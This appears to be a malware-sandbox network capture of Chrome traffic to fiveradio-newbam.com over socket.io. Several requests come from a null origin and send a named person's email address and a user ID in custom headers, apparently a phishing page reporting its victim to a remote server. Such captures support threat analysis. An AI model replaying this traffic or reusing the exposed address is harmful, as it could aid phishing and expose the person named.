2024-06-20 11:54:29 UTC	638	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVuBL HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:29 UTC	635	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:29 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TLO3uvf5c%2Bt9Ew7hgBS56Vu0YeABHYzi6hLW1ofDQ2wdtdGXcsOpPUJpng2wTrSTFFSdU%2BZAM6CpgD5IkrBTfx%2BY9O6EHjHlFo4htRwf1v4TcXKfUt20PqMTUTDlnLQ74xfXOiFfAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b907f7a117d02-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:29 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 6c 6c 41 39 31 67 52 4e 35 5f 70 46 78 67 5a 32 41 41 57 72 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"llA91gRN5_pFxgZ2AAWr","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49733	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:30 UTC	530	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVuVC&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:30 UTC	729	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:30 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OudWuVCHaR%2BttY1dK4ZVIQF%2B5xV5oJ0WjRu452hBYsM6hbNGBTmjjpeAleLJnxuKHBjPDYOkYno70m3ckZ71ILM3%2FgzEOmTVxjXl4VZ2sK2OI9hwRzeRlBqcBfHUZZrbifkpV7nCMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b908368854313-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49731	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:30 UTC	529	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVuVD&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:30 UTC	729	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:30 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IUeh%2F3rg4B6igaW7M7OOAmyaxeX07Fq8fMOJslSx7%2FPQ53h9vROPJMWKeBqj8s6PtO3ZKTP20yLSXr5xFdq1Eo4UorinGKTFPx3p8e7WpsAqOXamwdSg4%2Fpi2e4gHgqIQD5fCHDX2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90835cb38cc8-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49732	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:30 UTC	541	OUT	GET /socket.io/?EIO=4&transport=websocket&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1 Host: fiveradio-newbam.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: null Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: zhyTUG/VruBjDxXiaA4bdA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-06-20 11:54:30 UTC	619	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:30 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XMwbVuxjA6JR7fLVG8O0w8saf47RPq3Xoh68JZW%2FBmSC6B5DWA2Hx2MLJQr8o0n%2B0HPd8ovzxzurZxUdtq%2BDFdSwv3zBmBUuv6b9YU16YJvSG7fzu0K8P%2B5Vb3twSKmPkAQIfkGHZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9083881918c0-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:30 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-06-20 11:54:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49734	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:30 UTC	388	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVuBL HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:30 UTC	639	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:30 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Za50s%2FUZXoHLQ8qtY4b7hggTn9ZylIBjCEIE13xxIVh91gCGo1kOBBF%2BGvUDYPrRISJsBVoKIO0K%2Fn1rAebOk%2FwDVPHi28CYMo6GhiqHquKG%2BHydvB6KU0OyHGtGxNgYmYAUoPJPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9083a937c41d-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:30 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 33 58 58 41 56 7a 70 31 65 78 37 44 50 72 71 70 41 41 57 73 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"3XXAVzp1ex7DPrqpAAWs","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49735	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:30 UTC	663	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVuVD&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:31 UTC	637	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:31 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qk1tBUavYjn%2F8d%2BKYde%2Bf6asIh4aEN1hUZV6pC%2BhR9WPip7jZFVLhjY7wqmmECYwgd52LXSGHLdyQJ4ef7fTeyEHowAy2ATYE5b4%2B0Gwbyc6Ngdlz07qgvBpVfMZSfcIeF7xvGDrzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90871b1243c1-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:31 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49736	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:30 UTC	723	OUT	POST /socket.io/?EIO=4&transport=polling&t=P0rVuVC&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Content-Length: 2 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Auth_UID: USER21052024UNIQUE1031052124202420240521311024 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: text/plain;charset=UTF-8 Accept: / Session_Email: michael.deretz@aftral.com sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:30 UTC	2	OUT	Data Raw: 34 30 Data Ascii: 40
2024-06-20 11:54:31 UTC	626	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s150sXgABpXeW7hUKEJtzlZtWAJdiOgSDrIXXKoP%2FVOkdCe7o4c0M2ZdFK5OSuf5D1c9wN%2FZ22w1G%2FQZbUGDxBgXfY6iaOc8eNKC0s1xirNACXrIjBp6Uz7tOvy1gZopETXIe5rDvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90874fd743a0-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-06-20 11:54:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49738	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:31 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVuVC&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:31 UTC	583	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:31 GMT Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Igr5gv16acxkvy9rwKOYOFjwXzsQ59xX4zHj3osy95ZMLOS4KFSekr8g0uYVZ5ACoAMd7y22vxQkVONuRBNW2HE37dsyRO1sDuYF9Ip5fCq08eZ%2F968btDyDJ%2FaIF1vl5SdImQ630A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b908bfa9f42b3-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49737	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-20 11:54:31 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=188101 Date: Thu, 20 Jun 2024 11:54:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49742	35.190.80.1	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:32 UTC	549	OUT	OPTIONS /report/v4?s=Igr5gv16acxkvy9rwKOYOFjwXzsQ59xX4zHj3osy95ZMLOS4KFSekr8g0uYVZ5ACoAMd7y22vxQkVONuRBNW2HE37dsyRO1sDuYF9Ip5fCq08eZ%2F968btDyDJ%2FaIF1vl5SdImQ630A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fiveradio-newbam.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:32 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 20 Jun 2024 11:54:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49743	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:32 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVuVD&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:32 UTC	619	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IY2%2FazU6bVgcpaO7IGhjb0JDw8umCgP22oVBQ01OJyrh1iqgdwFaUAUgmRZVYomjmP8%2Byc6xf35UXLPX9iVd3thy9PZbwREdLYGa%2FREyUg%2FpUsX25wMeH6cbDFIGv2eKnckNhuOGrw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90903f0a437b-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:32 UTC	47	IN	Data Raw: 32 39 0d 0a 7b 22 63 6f 64 65 22 3a 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 53 65 73 73 69 6f 6e 20 49 44 20 75 6e 6b 6e 6f 77 6e 22 7d 0d 0a Data Ascii: 29{"code":1,"message":"Session ID unknown"}
2024-06-20 11:54:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49741	13.32.145.15	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:32 UTC	359	OUT	GET /4.6.0/socket.io.min.js.map HTTP/1.1 Host: cdn.socket.io Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:32 UTC	701	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 171292 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js.map" Date: Thu, 20 Jun 2024 11:54:32 GMT ETag: "684f5a3b7333d8120003a938623194ce" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: dub1::r6s7b-1718884472595-939561aada4f X-Cache: Miss from cloudfront Via: 1.1 4341f21ae6d9b3a3feb0a6d5188202c8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG50-C2 X-Amz-Cf-Id: 5lSLF-GZAlL9hObYJ-rLal8A44PlzUGyP2WreSKeal63hXzUDGSFsQ== Age: 525020
2024-06-20 11:54:32 UTC	8138	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 33 2c 22 66 69 6c 65 22 3a 22 73 6f 63 6b 65 74 2e 69 6f 2e 6d 69 6e 2e 6a 73 22 2c 22 73 6f 75 72 63 65 73 22 3a 5b 22 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 65 6e 67 69 6e 65 2e 69 6f 2d 70 61 72 73 65 72 2f 62 75 69 6c 64 2f 65 73 6d 2f 63 6f 6d 6d 6f 6e 73 2e 6a 73 22 2c 22 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 65 6e 67 69 6e 65 2e 69 6f 2d 70 61 72 73 65 72 2f 62 75 69 6c 64 2f 65 73 6d 2f 63 6f 6e 74 72 69 62 2f 62 61 73 65 36 34 2d 61 72 72 61 79 62 75 66 66 65 72 2e 6a 73 22 2c 22 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 65 6e 67 69 6e 65 2e 69 6f 2d 70 61 72 73 65 72 2f 62 75 69 6c 64 2f 65 73 6d 2f 65 6e 63 6f 64 65 50 61 63 6b 65 74 2e 62 72 6f 77 73 65 72 2e 6a 73 22 2c 22 2e 2e 2f 6e Data Ascii: {"version":3,"file":"socket.io.min.js","sources":["../node_modules/engine.io-parser/build/esm/commons.js","../node_modules/engine.io-parser/build/esm/contrib/base64-arraybuffer.js","../node_modules/engine.io-parser/build/esm/encodePacket.browser.js","../n
2024-06-20 11:54:32 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 63 6f 6e 73 74 20 64 65 63 6f 64 65 64 50 61 63 6b 65 74 20 3d 20 64 65 63 6f 64 65 50 61 63 6b 65 74 28 65 6e 63 6f 64 65 64 50 61 63 6b 65 74 73 5b 69 5d 2c 20 62 69 6e 61 72 79 54 79 70 65 29 3b 5c 6e 20 20 20 20 20 20 20 20 70 61 63 6b 65 74 73 2e 70 75 73 68 28 64 65 63 6f 64 65 64 50 61 63 6b 65 74 29 3b 5c 6e 20 20 20 20 20 20 20 20 69 66 20 28 64 65 63 6f 64 65 64 50 61 63 6b 65 74 2e 74 79 70 65 20 3d 3d 3d 20 5c 22 65 72 72 6f 72 5c 22 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6b 3b 5c 6e 20 20 20 20 20 20 20 20 7d 5c 6e 20 20 20 20 7d 5c 6e 20 20 20 20 72 65 74 75 72 6e 20 70 61 63 6b 65 74 73 3b 5c 6e 7d 3b 5c 6e 65 78 70 6f 72 74 20 63 6f 6e 73 74 20 70 72 6f 74 6f 63 6f 6c 20 3d 20 34 3b 5c 6e 65 78 70 Data Ascii: const decodedPacket = decodePacket(encodedPackets[i], binaryType);\n packets.push(decodedPacket);\n if (decodedPacket.type === \"error\") {\n break;\n }\n }\n return packets;\n};\nexport const protocol = 4;\nexp
2024-06-20 11:54:32 UTC	16384	IN	Data Raw: 20 20 20 20 2a 20 40 70 61 72 61 6d 20 7b 41 72 72 61 79 7d 20 70 61 63 6b 65 74 73 20 2d 20 64 61 74 61 20 70 61 63 6b 65 74 73 5c 6e 20 20 20 20 20 2a 20 40 70 72 6f 74 65 63 74 65 64 5c 6e 20 20 20 20 20 2a 2f 5c 6e 20 20 20 20 77 72 69 74 65 28 70 61 63 6b 65 74 73 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 74 68 69 73 2e 77 72 69 74 61 62 6c 65 20 3d 20 66 61 6c 73 65 3b 5c 6e 20 20 20 20 20 20 20 20 65 6e 63 6f 64 65 50 61 79 6c 6f 61 64 28 70 61 63 6b 65 74 73 2c 20 28 64 61 74 61 29 20 3d 3e 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 64 6f 57 72 69 74 65 28 64 61 74 61 2c 20 28 29 20 3d 3e 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 77 72 69 74 61 62 6c 65 20 3d 20 74 72 75 65 3b 5c 6e 20 20 20 20 20 Data Ascii: * @param {Array} packets - data packets\n * @protected\n */\n write(packets) {\n this.writable = false;\n encodePayload(packets, (data) => {\n this.doWrite(data, () => {\n this.writable = true;\n
2024-06-20 11:54:32 UTC	5895	IN	Data Raw: 69 6e 67 28 31 2c 20 75 72 69 2e 68 6f 73 74 2e 6c 65 6e 67 74 68 20 2d 20 31 29 2e 72 65 70 6c 61 63 65 28 2f 3b 2f 67 2c 20 27 3a 27 29 3b 5c 6e 20 20 20 20 20 20 20 20 75 72 69 2e 61 75 74 68 6f 72 69 74 79 20 3d 20 75 72 69 2e 61 75 74 68 6f 72 69 74 79 2e 72 65 70 6c 61 63 65 28 27 5b 27 2c 20 27 27 29 2e 72 65 70 6c 61 63 65 28 27 5d 27 2c 20 27 27 29 2e 72 65 70 6c 61 63 65 28 2f 3b 2f 67 2c 20 27 3a 27 29 3b 5c 6e 20 20 20 20 20 20 20 20 75 72 69 2e 69 70 76 36 75 72 69 20 3d 20 74 72 75 65 3b 5c 6e 20 20 20 20 7d 5c 6e 20 20 20 20 75 72 69 2e 70 61 74 68 4e 61 6d 65 73 20 3d 20 70 61 74 68 4e 61 6d 65 73 28 75 72 69 2c 20 75 72 69 5b 27 70 61 74 68 27 5d 29 3b 5c 6e 20 20 20 20 75 72 69 2e 71 75 65 72 79 4b 65 79 20 3d 20 71 75 65 72 79 4b 65 79 Data Ascii: ing(1, uri.host.length - 1).replace(/;/g, ':');\n uri.authority = uri.authority.replace('[', '').replace(']', '').replace(/;/g, ':');\n uri.ipv6uri = true;\n }\n uri.pathNames = pathNames(uri, uri['path']);\n uri.queryKey = queryKey
2024-06-20 11:54:32 UTC	16384	IN	Data Raw: 70 6f 72 74 20 74 6f 20 75 73 65 20 61 6e 64 20 73 74 61 72 74 73 20 70 72 6f 62 65 2e 5c 6e 20 20 20 20 20 2a 5c 6e 20 20 20 20 20 2a 20 40 70 72 69 76 61 74 65 5c 6e 20 20 20 20 20 2a 2f 5c 6e 20 20 20 20 6f 70 65 6e 28 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 6c 65 74 20 74 72 61 6e 73 70 6f 72 74 3b 5c 6e 20 20 20 20 20 20 20 20 69 66 20 28 74 68 69 73 2e 6f 70 74 73 2e 72 65 6d 65 6d 62 65 72 55 70 67 72 61 64 65 20 26 26 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 53 6f 63 6b 65 74 2e 70 72 69 6f 72 57 65 62 73 6f 63 6b 65 74 53 75 63 63 65 73 73 20 26 26 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 74 72 61 6e 73 70 6f 72 74 73 2e 69 6e 64 65 78 4f 66 28 5c 22 77 65 62 73 6f 63 6b 65 74 5c 22 29 20 21 3d 3d 20 2d 31 29 20 7b 5c 6e 20 20 20 Data Ascii: port to use and starts probe.\n \n @private\n */\n open() {\n let transport;\n if (this.opts.rememberUpgrade &&\n Socket.priorWebsocketSuccess &&\n this.transports.indexOf(\"websocket\") !== -1) {\n
